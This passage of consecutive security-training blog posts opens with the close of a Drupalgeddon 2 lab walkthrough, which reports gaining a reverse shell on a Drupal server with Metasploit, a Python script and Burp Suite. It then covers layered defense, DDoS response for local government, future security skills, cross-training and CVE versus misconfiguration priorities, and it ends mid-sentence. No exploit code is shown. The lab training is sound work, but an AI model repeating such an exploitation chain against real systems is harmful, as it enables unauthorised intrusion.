ip addrThe command output: Received the reverse shell. We have successfully exploited the Drupal server using the Metasploit Framework and a Python script. Also, we have learned how to exploit the CMS using the burp suite by modifying the requests.ConclusionDrupalgeddon 2 remains a significant milestone in the history of web application security, serving as a stark reminder of the critical importance of timely patching, secure coding practices, and robust incident response strategies. The enduring impact of this vulnerability continues to shape security practices in web development, emphasizing the need for vigilance, education, and proactive security measures. As organizations navigate the evolving threat landscape, the lessons learned from Drupalgeddon 2 provide valuable insights into securing web applications against emerging risks. It taught us that security is not a one-time fix but an ongoing process. By embracing a culture of security awareness, prioritizing patching, and adopting robust security practices, we can build a more secure online world.ReferencesDrupal Security Team Advisory on Drupalgeddon 2OWASP Top Ten Web Application Security RisksNIST Cybersecurity FrameworkAkamai’s Old Blog PostDrupalgeddon2 FAQDrupal Code patchTry this exploit for yourself! With an INE Subscription access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
Beyond Patching: Complete CVE Defense You Can Practice
Patch management forms the backbone of traditional vulnerability management, but what happens when patching isn't immediately possible? In today's complex IT environments, security teams regularly face scenarios where comprehensive defense requires more than just applying updates. Understanding these advanced defense strategies—and practicing them in realistic environments—can mean the difference between containment and compromise.When Patching Isn't EnoughModern organizations operate in environments where immediate patching faces numerous constraints. Legacy systems that can't be updated without business disruption, complex dependencies that require extensive testing, and zero-day vulnerability protection scenarios where patches don't yet exist all demand alternative approaches.These situations require proactive vulnerability management that extends beyond patch deployment. Security teams need layered defenses that can mitigate vulnerability exploitation even when systems remain technically vulnerable. This comprehensive approach transforms vulnerability management from a reactive patching exercise into a strategic security capability.Building Effective Layered Security ArchitectureSuccessful vulnerability defense relies on implementing multiple security controls that work together to prevent, detect, and contain potential exploitation. This layered security architecture creates redundancy that protects against both known and unknown threats.Network Segmentation and IsolationNetwork controls provide the first line of defense when patches aren't available. Proper segmentation limits an attacker's ability to move laterally through systems, even if they successfully exploit a vulnerability.Key segmentation strategies include:Micro-segmentation: Creating granular network boundaries around critical assetsZero-trust networks: Requiring verification for every connection attemptDMZ implementation: Isolating internet-facing services from internal networksVLAN separation: Segregating different types of systems and user groupsWhen implemented correctly, network segmentation can prevent CVE exploitation from spreading beyond initially compromised systems. However, effective segmentation requires understanding how attacks actually move through networks—knowledge that comes from hands-on practice with real exploitation scenarios.Access Control and AuthenticationStrong authentication and authorization controls can neutralize many vulnerability exploitation attempts, even when the underlying vulnerability remains unpatched. These controls create barriers that attackers must overcome before they can leverage technical vulnerabilities.Effective access controls include:Multi-factor authentication: Adding verification layers beyond passwordsPrivilege escalation prevention: Limiting user and service account permissionsJust-in-time access: Providing temporary elevated privileges only when neededSession management: Monitoring and controlling active user sessionsSecurity teams that practice with CVE exploitation scenarios understand which access controls effectively prevent exploitation and which ones attackers can bypass. This practical knowledge proves invaluable when designing defensive architectures.Application-Level ProtectionsApplication security controls can prevent vulnerability exploitation at the point where attacks typically occur. These protections work by validating inputs, controlling execution, and monitoring application behavior for suspicious activity.Critical application protections include:Input validation: Filtering and sanitizing all external dataWeb application firewalls: Blocking common attack patternsRuntime application self-protection: Detecting and preventing exploitation attemptsContent security policies: Controlling resource loading and executionUnderstanding how these controls interact with real vulnerability exploitation requires hands-on experience. Security teams that practice with actual CVEs learn which application protections work reliably and how attackers attempt to bypass them.Advanced Monitoring and DetectionEffective vulnerability defense requires robust monitoring that can detect exploitation attempts even when initial compromise occurs. This monitoring capability provides early warning and enables rapid response before attackers can achieve their objectives.Behavioral AnalysisModern detection systems look beyond signature-based approaches to identify unusual system and network behavior that might indicate exploitation attempts. This behavioral analysis can catch zero-day attacks that traditional detection methods miss.Key behavioral indicators include:Process execution anomalies: Unexpected command execution or system callsNetwork communication patterns: Unusual connection attempts or data transfersFile system modifications: Unauthorized changes to critical system filesPrivilege usage patterns: Abnormal elevation or permission requestsTeams that regularly practice with CVE exploitation develop intuitive understanding of what normal system behavior looks like and can more quickly identify deviations that indicate compromise.Log Analysis and CorrelationComprehensive log analysis enables security teams to reconstruct attack sequences and identify exploitation attempts across multiple systems. This capability proves essential for both incident response and improving defensive measures.Effective log analysis includes:Centralized collection: Aggregating logs from all critical systemsReal-time correlation: Identifying patterns across multiple log sourcesThreat intelligence integration: Matching observed behavior against known attack indicatorsAutomated alerting: Notifying security teams of potential compromise indicatorsContainment and Response StrategiesWhen prevention fails, rapid containment becomes critical for limiting damage and preventing further exploitation. Effective containment requires pre-planned response procedures and the technical capability to implement them quickly.Automated ResponseAutomated response systems can contain threats faster than human responders, particularly important for rapidly spreading attacks that exploit recently disclosed vulnerabilities.Automated containment options include:Network isolation: Automatically quarantining compromised systemsAccount disabling: Suspending potentially compromised user accountsProcess termination: Stopping suspicious application executionTraffic blocking: Preventing communication with known malicious systemsHowever, automated response systems require careful tuning to avoid false positives that disrupt business operations. Teams that practice with real exploitation scenarios understand which automated responses prove effective and which create operational problems.Manual Response ProceduresHuman responders provide the analytical capability and contextual understanding that automated systems lack. Effective manual response requires established procedures and the skills to execute them under pressure.Critical manual response capabilities include:Forensic analysis: Understanding how exploitation occurred and what was accessedDamage assessment: Determining the scope and impact of successful attacksEvidence preservation: Maintaining investigation materials for legal and learning purposesCommunication coordination: Managing internal and external stakeholder notificationsPracticing Comprehensive DefenseUnderstanding these advanced defense strategies theoretically is one thing—implementing them effectively under pressure is entirely different. Security teams that regularly practice with real CVE exploitation scenarios develop the practical knowledge and muscle memory needed for effective defense.Hands-on practice reveals critical insights that theory alone cannot provide:Control effectiveness: Which defensive measures actually prevent exploitation versus those that only appear effectiveAttack progression: How attackers chain multiple techniques together and adapt when initial approaches failResponse timing: How quickly different containment measures must be implemented to remain effectiveCoordination requirements: How different team members need to work together during incident responseBuilding Practical ExpertiseThe most effective security teams combine theoretical knowledge of defensive architectures with hands-on experience practicing against real attacks. This practical expertise enables them to design better defenses, respond more effectively to incidents, and make informed decisions about resource allocation.Regular practice with current CVEs in controlled lab environments provides security teams with the practical knowledge they need to implement effective layered security architecture. When teams understand how attacks actually work—not just how they're described in bulletins—they can design and operate more effective defenses.This hands-on approach to proactive vulnerability management transforms security from a reactive discipline into a strategic capability. Teams that invest in comprehensive practice develop the expertise needed to protect their organizations even when traditional patch management approaches fall short.The Strategic AdvantageOrganizations that move beyond basic patch management to implement comprehensive vulnerability defense gain significant strategic advantages. They can operate more confidently in complex environments, respond more effectively to emerging threats, and maintain better security posture even when facing zero-day vulnerability challenges.The investment in advanced defensive capabilities and the training to implement them effectively pays dividends across the entire security program. Teams with practical experience in comprehensive vulnerability defense become force multipliers that enhance the organization's overall security capability and resilience. Check out what Skill Dive can do for you or your team: my.ine.com/dive
Distributed Denial of Service (DDoS) Attacks: A Practical Guide for Government Information Security Teams
Town websites are no longer tourism brochures. Local government websites are powerful tools that connect residents with critical services. Most local governments utilize some form of digital service model to engage with residents and guests. A 2024 survey by Granicus cited that 85% of government leaders recognized the importance of online services - particularly self-service options for residents.Counties, cities, and towns around the world are opting for more services online such as:Contacting government officialsCollecting online payment for taxes and feesFiling for permits and registration formsAccessing non-emergency services Setting online appointmentsAutomation improves government efficiency and constituent experience. Unfortunately, it comes with a new risk – Distributed Denial of Service Attacks (DDoS).What is a Distributed Denial of Service (DDoS) Attack?A Distributed Denial of Service (DDoS) attack is one of the most disruptive threats a cybersecurity professional can face in the public sector. These attacks put public systems and networks under intense strain—causing services to go offline and halting essential operations for cities, towns, law enforcement and public utility infrastructure. When a DDoS attack strikes, it isn't always about stealing data; it's about testing the strength of public sector defenses. How DDoS Attacks WorkDDoS attacks overwhelm a target with an excess of traffic or requests. Instead of a single computer, attackers use a network of devices known as a botnet. This flood of fake traffic is designed to:Overload the target’s servers or network resources.Cause legitimate requests from real users to time out or fail.Interrupt critical services, sometimes for hours or even days.Attackers often build their botnets by infecting personal computers, servers, or Internet of Things (IoT) devices with malware. These vectors then attack a target at the same time which overwhelms defenses. Modern attacks can exceed multiple terabits per second, dwarfing older incidents.The most common type of DDoS attacks are:Volume-Based Attacks: These are about numbers—flooding systems with so much data that they simply cannot keep up.Protocol Attacks: These target underlying network protocols (like TCP or UDP), consuming the resources of network equipment such as firewalls and load balancers.Application Layer Attacks: These are more targeted, aiming at specific software applications (like web servers) with requests designed to exhaust resources and bring the service down.For public sector IT teams, the most challenging attacks often combine multiple methods to bypass basic security tools.Cybersecurity professionals must keep their knowledge up-to-date to mitigate risk. Advanced training, such as courses by INE, can help IT professionals prevent and respond to DDoS attacks. Global Reach of DDoS AttacksPublic sector IT environments are highly visible, making them attractive targets for DDoS attackers. When a city’s emergency response platform or a local government website is offline, it affects everyone in the community. These attacks aren’t isolated. They can happen to any city, town, or public agency around the world.In 2023, a major metropolitan 911 system in the US suffered a sophisticated botnet attack. For several hours, legitimate emergency calls failed to get through, causing confusion and putting public safety at risk.Canadian public health portals and provincial government sites experienced outages during COVID-19 response efforts, with attackers likely seeking to disrupt vaccine distribution and public messaging.During the 2022 French presidential election, government IT teams faced a spike in DDoS activity targeting official information portals and voter registration sites.In Germany, local government websites came under attack in early 2024, coinciding with debates on critical infrastructure funding.Several Middle Eastern countries reported outages of airport systems, municipal websites, and even national broadcasters, with evidence pointing to both hacktivist and political motivations.In 2024, a DDoS attack knocked offline a major metropolitan transport system in Southeast Asia, halting digital ticketing and traffic signal synchronization for hours.Several Latin American cities reported targeted attacks on city hall and municipal budgeting portals, with some incidents linked to organized crime and others to political dissent.
Sometimes DDoS attacks are paired with a ransom demand. These payouts are costly for smaller governments. It can drain slim budgets, raise the long term cost of cyber insurance, and also reinforce criminal behavior which amounted to over $16 Billion in losses in the United States alone.
How Government Cybersecurity Professionals Can Respond to DDoS ThreatsEvery strong defense starts with knowing your network’s weaknesses. Public sector IT managers must prioritize systems and services that, if taken down, would cause the most harm to daily operations.Key steps for prevention and risk assessment include:Asset Inventory: List all critical hardware, software, and services. Focus efforts on those supporting essential public functions.Vulnerability Analysis: Test systems for weak points, especially exposed network endpoints, outdated software, or unprotected web applications.Risk Analysis: Measure the potential impact of a successful DDoS attack on each system. Assess both service disruption risks and reputational risk.Prioritization: Assign security resources to the highest-risk areas first, such as public-facing websites and emergency response systems.Make It Routine: Schedule regular reviews. The threat landscape changes quickly, especially with new government tech rollouts or changing public needs.For teams using cloud infrastructure like Azure, reviewing Microsoft Azure ISO 27001 security controls can help align risk management with recognized standards.Detection and ResponseThe faster a cybersecurity professional can identify and respond to a DDoS attack, the less damage it causes. Effective teams mix constant monitoring, clear action plans, and technical solutions tailored to their environment.Best practices for detection and response:24/7 Network Monitoring: Use automated tools to watch for abnormal spikes in traffic or unusual patterns. Flag, isolate, and alert security teams about suspicious behavior right away.Incident Response Plan: Write and regularly update a playbook that spells out who does what during an attack. Run tabletop exercises to keep everyone sharp.Traffic Filtering and Rate-Limiting: Deploy intrusion prevention systems, web application firewalls, and content delivery networks (CDNs) to blunt attacks before they overwhelm servers.Collaboration: Coordinate with Internet Service Providers (ISPs) and upstream vendors to reroute or block malicious traffic when a major campaign hits.Layered Defenses: Combine on-premise and cloud-based security, so no single point of failure disrupts essential services.Strong defenses depend on highly skilled teams. Ongoing workforce training is a top priority—using approaches like Cyber Security Awareness Training Importance programs and practical exercises to keep everyone prepared for the real thing.Recovery and Learning from AttacksNo defense is perfect. At some point, a cybersecurity professional will manage incident recovery. The goal: get services back fast, learn from what happened, and adapt for next time.System Restoration: Get affected services running as quickly as possible using secure backups and tested failover procedures. Verify that restored systems are clean and fully patched.Communication: Notify internal teams, stakeholders, and the public about service status. Clear, honest updates build trust and help control rumors.Root Cause Analysis: After systems are stable, review data to understand how the attack succeeded. Document gaps in tools, processes, or training.Review and Improve: Update risk assessments, security rules, and response plans based on what you learned. Share findings through group debriefs.Support Team Education: Encourage the team to stay current, using resources like Hands-On Labs for Cybersecurity to reinforce learning through real-world scenarios.The cycle of prevention, response, and recovery never stops. By improving after every incident, public sector IT leaders build smarter defenses and a stronger, more capable workforce ready for the next wave of DDoS threats.ConclusionDDoS attacks will continue to threaten local governments and their residents. IT managers must prioritize continuous learning and hands-on training to maintain strong defenses. Public agencies have a responsibility to invest in trusted cybersecurity and networking education to protect against future disruptions.Staying vigilant is not a one-time effort but a sustained commitment. High-quality training and ongoing skills development keep defense strategies sharp and the public safe.
Cybersecurity 2030: Skills That Will Define Careers
Cybersecurity is evolving at an unprecedented pace. Technologies that didn't exist five years ago now drive entire security strategies, while traditional security approaches are being fundamentally reimagined. For cybersecurity professionals planning their career trajectories, understanding which skills will be essential in the coming decade isn't just advantageous—it's critical for long-term career relevance and success.As we look toward 2030 and beyond, cybersecurity technology trends indicate a shift from reactive security models to predictive, automated approaches. This transformation is creating new skill requirements that combine traditional security expertise with emerging technological capabilities. The professionals who master these future-focused competencies will find themselves at the forefront of a rapidly expanding field.The Automation Revolution in CybersecuritySecurity automation and orchestration represents one of the most significant shifts in how organizations approach cybersecurity. The traditional model of manual security operations is giving way to intelligent, automated systems that can respond to threats faster than human operators while handling the increasing volume and complexity of modern security challenges.Essential Automation SkillsProgramming for Security Operations Modern security automation relies heavily on scripting and programming. Python has emerged as the dominant language for security automation, enabling professionals to create custom tools, automate repetitive tasks, and integrate disparate security systems. PowerShell remains crucial for Windows-centric environments, while Bash scripting continues to be essential for Linux-based security operations.Security professionals need to understand not just how to write scripts, but how to design automated workflows that can make intelligent decisions based on threat indicators, context, and organizational policies. This requires thinking beyond simple task automation to designing sophisticated response systems.SOAR Platform Expertise Security Orchestration, Automation, and Response (SOAR) platforms are becoming central to modern security operations. These systems coordinate automated responses across multiple security tools, creating unified threat response capabilities. Understanding how to design, implement, and optimize SOAR workflows will be essential for security operations professionals.API Integration and Management As security environments become increasingly complex, the ability to integrate different security tools through APIs becomes crucial. Security professionals need to understand how to design API-based integrations that enable seamless data flow and coordinated responses across security ecosystems.Machine Learning for Security While deep machine learning expertise may not be required for all security professionals, understanding how ML algorithms can be applied to security problems is becoming increasingly valuable. This includes knowledge of anomaly detection, behavioral analysis, and pattern recognition techniques that can enhance traditional security monitoring.Try these learning paths: First Steps in Data Science with Python | Python Data Scientist | Network Programmability & Automation | Advanced Web Application Penetration Testing
Cloud-Native Security ApproachesThe continued migration to cloud environments is fundamentally changing how security is implemented and managed. Future security professionals must understand cloud-native security models that differ significantly from traditional perimeter-based approaches.Cloud Security Architecture SkillsMulti-Cloud Security Management Organizations increasingly operate across multiple cloud platforms, creating complex security challenges. Security professionals need to understand how to implement consistent security policies across AWS, Azure, Google Cloud, and hybrid environments. This requires deep knowledge of each platform's native security services and how to orchestrate them into cohesive security strategies.Infrastructure as Code Security As infrastructure becomes increasingly defined through code, security professionals must understand how to embed security controls into infrastructure definitions. This includes knowledge of tools like Terraform, CloudFormation, and Kubernetes security configurations.Container and Microservices Security Containerized applications and microservices architectures require new security approaches. Understanding container scanning, runtime protection, and service mesh security becomes essential for protecting modern application architectures.Serverless Security Function-as-a-Service and serverless computing models present unique security challenges. Security professionals need to understand how to secure serverless applications, manage function permissions, and monitor ephemeral compute resources.Try these learning paths: AWS Certified SysOps Administrator Associate | Azure Security Engineer Associate (AZ-500) |
IoT and Edge Computing SecurityThe proliferation of Internet of Things devices and edge computing infrastructure is creating vast new attack surfaces that require specialized security expertise. IoT security skills for the future encompass both technical implementation and strategic planning capabilities.Critical IoT Security CompetenciesDevice Security Lifecycle Management IoT environments require understanding of security throughout device lifecycles, from manufacturing and deployment to ongoing maintenance and eventual decommissioning. This includes knowledge of secure boot processes, over-the-air update mechanisms, and end-of-life security considerations.Network Segmentation for IoT Traditional network security models often prove inadequate for IoT environments. Security professionals need to understand how to design network architectures that can handle thousands of diverse devices while maintaining appropriate security boundaries.IoT Data Security and Privacy IoT devices generate vast amounts of data, often including sensitive personal information. Understanding how to implement data protection controls, manage consent mechanisms, and ensure privacy compliance across IoT ecosystems becomes increasingly important.Edge Computing Security As computing moves closer to data sources, security professionals need to understand how to secure distributed computing infrastructure. This includes knowledge of edge-specific threats, local processing security, and secure communication between edge devices and central systems.Try this learning path:
Network Programmability & Automation
Emerging Security TechnologiesSeveral emerging security technologies are reshaping the cybersecurity landscape, creating new skill requirements for security professionals.Quantum-Resistant CryptographyThe potential advent of quantum computing poses significant challenges to current cryptographic systems. Security professionals need to understand post-quantum cryptography algorithms and how to implement quantum-resistant security measures. This includes knowledge of lattice-based cryptography, hash-based signatures, and other mathematical approaches that remain secure against quantum attacks.Zero Trust Architecture ImplementationZero Trust has evolved from a conceptual framework to a practical architectural approach. Security professionals need hands-on experience implementing Zero Trust principles, including micro-segmentation, continuous authentication, and least-privilege access controls. This requires understanding both the technical implementation details and the organizational change management required for Zero Trust adoption.Extended Detection and Response (XDR)XDR platforms represent the evolution of traditional security monitoring, providing unified visibility across endpoints, networks, and cloud environments. Security professionals need to understand how to deploy, configure, and optimize XDR systems to maximize their threat detection and response capabilities.Privacy EngineeringWith expanding privacy regulations and growing consumer awareness of data protection, privacy engineering has become a distinct discipline. Security professionals need to understand privacy-by-design principles, data minimization techniques, and how to implement technical privacy controls that comply with various regulatory frameworks.Try these learning paths and courses:Cryptography & PKI | CISSP
Human-AI Collaboration in SecurityThe integration of artificial intelligence into security operations is creating new models of human-AI collaboration. Rather than replacing security professionals, AI is augmenting human capabilities and changing how security work is performed.AI-Augmented Security SkillsAI Tool Management Security professionals need to understand how to effectively manage and optimize AI-powered security tools. This includes knowledge of how to tune machine learning models, interpret AI-generated insights, and integrate AI capabilities into existing security workflows.Algorithmic Bias Recognition As AI becomes more prevalent in security decision-making, understanding how to identify and mitigate algorithmic bias becomes crucial. Security professionals need to understand how bias can affect security AI systems and how to implement controls that ensure fair and effective security outcomes.Explainable AI for Security In regulated environments and high-stakes security decisions, the ability to explain AI-generated recommendations becomes essential. Security professionals need to understand how to work with explainable AI systems and communicate AI-driven insights to stakeholders.Try these learning paths and courses:CompTIA Security+ | AI & Cybersecurity | An Introduction to AI & Machine Learning for the Network Engineer
Business and Communication Skills for Future Security LeadersTechnical skills alone will not be sufficient for tomorrow's security professionals. The increasing integration of security into business operations requires security professionals to develop strong business acumen and communication capabilities.Strategic Business SkillsRisk Quantification and Communication Future security professionals must be able to translate technical risks into business language and quantify security investments in terms of business value. This requires understanding financial modeling, risk assessment methodologies, and business impact analysis.Regulatory and Compliance Expertise The regulatory landscape for cybersecurity continues to expand and evolve. Security professionals need to understand how to implement compliance programs, manage regulatory relationships, and design security controls that satisfy multiple regulatory requirements simultaneously.Cross-Functional Collaboration Modern security requires close collaboration with development teams, business units, and external partners. Security professionals need strong project management skills, the ability to work effectively in cross-functional teams, and experience leading security initiatives across organizational boundaries.Try these learning paths and courses:Security Assessment & Testing for CISSP | Security & Risk Management for CISSP | Security Operations for CISSP
Preparing for Continuous EvolutionPerhaps the most important skill for future cybersecurity professionals is the ability to continuously adapt and learn. The pace of technological change in cybersecurity shows no signs of slowing, making continuous learning and adaptation essential competencies.Building Learning AgilityRapid Skill Acquisition - Security professionals need to develop the ability to quickly acquire new technical skills as threats and technologies evolve. This includes understanding how to efficiently evaluate new tools and technologies, identify key learning priorities, and apply new knowledge in practical contexts.Trend Analysis and Prediction - Understanding how to identify emerging threats and technologies before they become mainstream provides significant career advantages. This requires developing skills in technology trend analysis, threat intelligence interpretation, and strategic planning.Community Engagement - Active participation in security communities, professional organizations, and knowledge-sharing platforms becomes increasingly important for staying current with evolving practices and emerging threats.Strategic Career Development for Future SkillsDeveloping future-focused security skills requires a strategic approach that balances current responsibilities with future preparation.Implementation StrategiesSkill Portfolio Diversification - Rather than focusing solely on current role requirements, security professionals should maintain a diverse portfolio of skills that spans traditional security, emerging technologies, and business capabilities. This diversification provides resilience against technological shifts and creates opportunities for career advancement.Applied Learning Projects - The most effective way to develop future skills is through hands-on application. Security professionals should seek opportunities to work with emerging technologies, whether through formal projects, personal labs, or community contributions.Mentorship and Knowledge Sharing - Both seeking mentorship from experienced professionals and mentoring others creates opportunities to learn about emerging trends and best practices. Teaching others often deepens understanding and reveals new perspectives on evolving technologies.Building Career Resilience Through Future SkillsThe cybersecurity landscape of 2030 will look significantly different from today's environment. Security professionals who proactively develop skills in security automation and orchestration, emerging security technologies, and IoT security will find themselves well-positioned for the challenges and opportunities ahead.Success in tomorrow's cybersecurity environment will require combining deep technical expertise with business acumen, maintaining currency with cybersecurity technology trends while developing timeless skills like critical thinking and communication. The security professionals who thrive will be those who embrace continuous learning, adapt quickly to new challenges, and maintain the curiosity needed to explore emerging technologies.INE's comprehensive training platform supports this future-focused approach by providing access to both cutting-edge technical training and foundational security skills. Whether you're looking to develop automation capabilities, understand emerging threats, or build the business skills needed for security leadership, structured learning paths can help you build the diverse competencies that will define successful cybersecurity careers.The future of cybersecurity is being written now. By developing the right skills today, you can ensure your role in shaping that future while building a resilient, adaptable career that thrives regardless of how the landscape evolves.
Cross-Training: How Other Tech Skills Enhance Security
The most valuable cybersecurity professionals aren't just security experts—they're multi-skilled technologists who understand how security integrates with broader business and technical systems. This shift toward cybersecurity skill diversification is creating new opportunities for security professional development and career advancement.The Value of Multi-Skilled Security ProfessionalsIndustry trends consistently show that cybersecurity professionals with complementary technical skills are increasingly valued in the job market. Organizations benefit from cross-training security professionals because these individuals can bridge gaps between security teams and other technical departments, leading to more effective threat response and better integration of security practices across the organization.Multi-skilled security professionals often command higher salaries and advancement opportunities compared to single-domain specialists. This premium reflects their ability to contribute across multiple areas and their enhanced problem-solving capabilities when addressing complex security challenges.High-Impact Skill CombinationsThe most valuable complementary skills for security professionals fall into several categories:Programming and Automation SkillsProgramming capabilities, particularly in Python, PowerShell, and Bash, have become increasingly important for modern security work. These skills enable security professionals to automate routine tasks, develop custom tools, and perform more sophisticated analysis of security data.Application Areas:Automating repetitive security tasksDeveloping custom security toolsCreating threat detection scriptsAnalyzing large security datasetsCheck out the Network Programmability & Automation Learning Path.Cloud Platform ExpertiseAs organizations continue migrating to cloud environments, combining traditional security knowledge with cloud platform skills creates significant value. Security professionals who understand both on-premises and cloud security architectures are particularly sought after.High-Value Platforms:AWS security services and architectureAzure security center and compliance toolsGoogle Cloud security and identity managementMulti-cloud security strategiesCheck out INE’s Cloud Learning Paths and Courses.Data Analysis and Business IntelligenceSecurity professionals who can analyze data and communicate insights effectively become invaluable to their organizations. This combination enables better threat intelligence, compliance reporting, and risk quantification.Key Capabilities:SQL for security database queriesExcel for security metrics and reportingStatistical analysis for threat pattern recognitionDashboard creation for executive reportingDig into INE’s Data Science Learning Paths and Courses.Strategic Approaches to Cybersecurity UpskillingDeveloping complementary skills requires a strategic approach. Research consistently shows that the most effective skill development combines practical application with formal learning and mentorship.The Applied Learning ModelThe most effective skill development typically involves:Hands-on application of new skills in real work contextsLearning from colleagues through mentoring and collaborationFormal training through courses and certificationsThis model ensures that complementary skills are developed in context rather than isolation.Incremental Skill BuildingFor busy security professionals, incremental learning approaches work better than intensive training programs. Short, focused learning sessions that can be applied immediately to current work show higher success rates and better retention.Market Demand for Cross-Trained ProfessionalsThe job market increasingly rewards cybersecurity skill diversification. Job postings frequently request combinations of security expertise with programming, cloud, or business analysis skills. Roles that require both security and development knowledge, such as DevSecOps positions, often have more open positions than qualified candidates.Organizations also struggle to find security professionals with strong business communication skills. Security professionals who can effectively translate technical risks into business language are particularly valuable for leadership roles.Practical Implementation StrategiesCross-training security professionals requires deliberate planning:Start with Adjacent SkillsBegin with skills that complement your current security focus:SOC Analysts: Add programming for automationNetwork Security Specialists: Develop cloud platform expertiseApplication Security Professionals: Learn DevOps and CI/CD integrationGRC Professionals: Build data analysis capabilitiesCreate Applied Learning ProjectsThe most effective learning happens through application. Consider projects that combine security expertise with new skills:Automating security reporting with programmingDesigning cloud security architecturesBuilding security dashboards with data visualization toolsLeading cross-functional security initiativesLeverage Existing Work ContextLook for opportunities to apply new skills within current responsibilities. This approach provides immediate value while building competency in complementary areas.The Career Impact of Skill DiversificationIndustry observations consistently show positive outcomes for cross-trained security professionals. Professionals who develop complementary skills alongside their security expertise tend to advance more quickly in their careers and report higher job satisfaction.This satisfaction stems from increased career flexibility, broader problem-solving capabilities, and expanded opportunities for contribution within organizations. Cross-trained professionals also tend to be more resilient during industry changes, as their diverse skill sets provide multiple career pathway options.Building Your Cross-Training StrategyEffective cybersecurity skill diversification requires balancing depth in security with strategic breadth in complementary areas. The goal isn't to become a generalist but to enhance your security expertise with capabilities that amplify your impact and value.INE's comprehensive training library supports this approach by offering both deep security specialization and complementary technical skills training. Whether you're looking to add programming capabilities, cloud platform expertise, or business analysis skills, structured learning paths can help you develop these competencies efficiently.The security professionals who thrive in tomorrow's landscape will be those who combine deep security expertise with strategic complementary skills. By approaching cross-training systematically, you can build the diverse skill set that organizations increasingly value and that creates lasting career resilience.Start training with INE today
CVEs vs. Misconfigs: Where Should You Focus Defense?
There's a hot debate happening in cybersecurity circles: Should we spend more time chasing CVEs or fixing misconfigurations? It's a fair question that gets to the heart of how we allocate our security resources. The short answer? We need both, and here's why.How Attacks Actually HappenHere's what security researchers and pentesters see in the real world: attackers rarely rely on just one technique. Sure, they might get in through an exposed S3 bucket or misconfigured subdomain, but then what? They often escalate privileges through unpatched vulnerabilities and maintain persistence using a combination of configuration weaknesses and known exploits.The most successful attacks are like a well-planned heist—they use whatever tools and techniques work. One day it's an exposed Git repository, the next it's a critical vulnerability. Smart attackers don't limit themselves to one category of weakness, so neither should our defenses.This highlights why proactive vulnerability management remains essential alongside addressing security misconfigurations.Why CVEs Still Matter (A Lot)Let's be honest: CVEs get attention because they deserve it. When something like Log4J drops, it affects millions of systems overnight. These aren't theoretical threats—they're verified, exploitable weaknesses with working proof-of-concept code floating around the internet.Proactive vulnerability management gives us some real advantages:Clear threat intelligence: We know exactly what the vulnerability does and how it worksMeasurable progress: Patch management levels give us concrete metrics to track improvementShared defense: When the whole industry faces the same threat, we learn faster togetherFuture-proofing: Understanding today's CVE exploitation helps us spot tomorrow's attacksThe thing about critical vulnerability disclosures is they're like storm warnings—ignore them at your own risk. When a critical vulnerability affects your tech stack, you've got a ticking clock before someone tries to exploit it.CVE exploitation techniques continue evolving across the threat landscape. Operating system vulnerabilities, web application flaws, and third-party component weaknesses all require systematic approaches to identify and address vulnerabilities before they lead to data breaches.Configuration Security: The Other Half of the PuzzleWhile CVEs are the storms we can see coming, misconfigurations are like leaving your doors unlocked. They create opportunities that attackers love because they're often easier to exploit and harder to detect.The usual suspects include:Permission creep: Service accounts and user privileges that grew beyond what's actually neededPublic exposure: Cloud buckets, dev environments, and admin panels that shouldn't be internet-facingDefault settings: Unchanged passwords, standard configs, and "we'll fix it later" settingsGhost assets: That test server from 2019 that's still running somewhere in your infrastructureThese security misconfigurations stick around because fixing them requires ongoing work, not just a one-time patch. But here's the kicker—they often provide the initial foothold that makes vulnerability exploitation possible on internal systems.Security misconfigurations consistently rank among the top causes of data exposure incidents. Unlike vulnerabilities that affect specific software versions, configuration security issues vary significantly between organizations, making them harder to address with standardized management tools.Making Both Work TogetherThe best security teams don't treat vulnerability management and configuration security as competing priorities. They make them work together like a good tag team.Smart Proactive Vulnerability ManagementModern vulnerability management isn't about patching everything immediately. It's about:Focusing on what actually matters to your business and threat modelUsing security controls when patches aren't immediately possibleKeeping an eye on threat intel to prioritize actively exploited vulnerabilitiesActually verifying that your patches took and are working as expectedEffective vulnerability scans help security teams manage vulnerabilities systematically while maintaining operational stability. The goal is to reduce risk while minimizing business disruption.Configuration That Stays FixedGood configuration security means:Using infrastructure as code so your secure configs don't drift over timeAutomated scanning that catches misconfigurations before attackers doRegular asset discovery (because you can't secure what you don't know about)Change management that includes security review before things go liveGetting Practical ResultsWant to get the most bang for your security buck? Here's what actually works:Nail the fundamentals first. Strong authentication, proper access controls, and good network segmentation prevent both CVE exploitation and configuration-based attacks. Get these right and you'll stop a huge percentage of cyber threats before they start.Build detection that sees everything. You need monitoring that catches both exploitation attempts and configuration drift. Attackers mix and match techniques, so your detection needs to cover all the bases.Practice like you play. Run exercises that include both vulnerability exploitation and misconfiguration scenarios. Your security team needs hands-on security training with how attacks actually work, not just theory.Organizations with regular security training programs often experience fewer successful breaches. Hands-on security training proves particularly effective because it helps cybersecurity professionals understand how different attack techniques combine in real-world scenarios.Why Hands-On CVE Practice Changes EverythingReading CVE descriptions is one thing. Actually exploiting them in a lab environment? That's where the real learning happens. When security teams get hands-on experience with vulnerabilities, they understand:How attackers chain different techniques togetherWhich defenses actually work (and which ones just look good on paper)What exploitation attempts look like in their monitoring toolsHow to communicate risk to business stakeholders in terms they understandThis practical experience is gold when the same team encounters similar vulnerabilities in production. They've been there before, they know what to look for, and they can respond faster and more effectively.Hands-on security training with actual CVE exploitation provides cybersecurity professionals with practical knowledge that dramatically improves their ability to protect sensitive data and maintain strong security posture across their organizations.Building Real-World DefenseThe whole CVE vs. misconfiguration debate misses the point. Effective security isn't about picking sides—it's about understanding how attacks actually work and building defenses that address the full spectrum of threats.The organizations that do security well combine proactive vulnerability management with solid configuration practices. They understand that attackers don't care about our neat categories—they use whatever works to compromise systems and access sensitive data.The ROI of Comprehensive Security SkillsHere's what separates high-performing security teams from those constantly playing catch-up: they invest in skills that span the entire attack spectrum. Teams that practice both CVE exploitation and configuration security don't just respond faster to incidents—they prevent more attacks from succeeding in the first place.Consider the typical security team response to a new critical vulnerability. Teams with hands-on CVE experience immediately understand the attack vector, can quickly assess their exposure, and know which compensating controls actually work. Meanwhile, teams relying on theoretical knowledge spend precious time researching, testing, and second-guessing their mitigation strategies.The same principle applies to configuration security. Teams that regularly practice identifying and fixing security misconfigurations develop an intuitive sense for what's wrong and how to fix it quickly. They spot potential issues during deployment reviews and catch configuration drift before it becomes a problem.This comprehensive approach creates a multiplier effect: security teams that understand both vulnerability exploitation and configuration security can design better defenses, respond more effectively to incidents, and communicate risk more clearly to business stakeholders. That's the kind of security capability that actually moves the 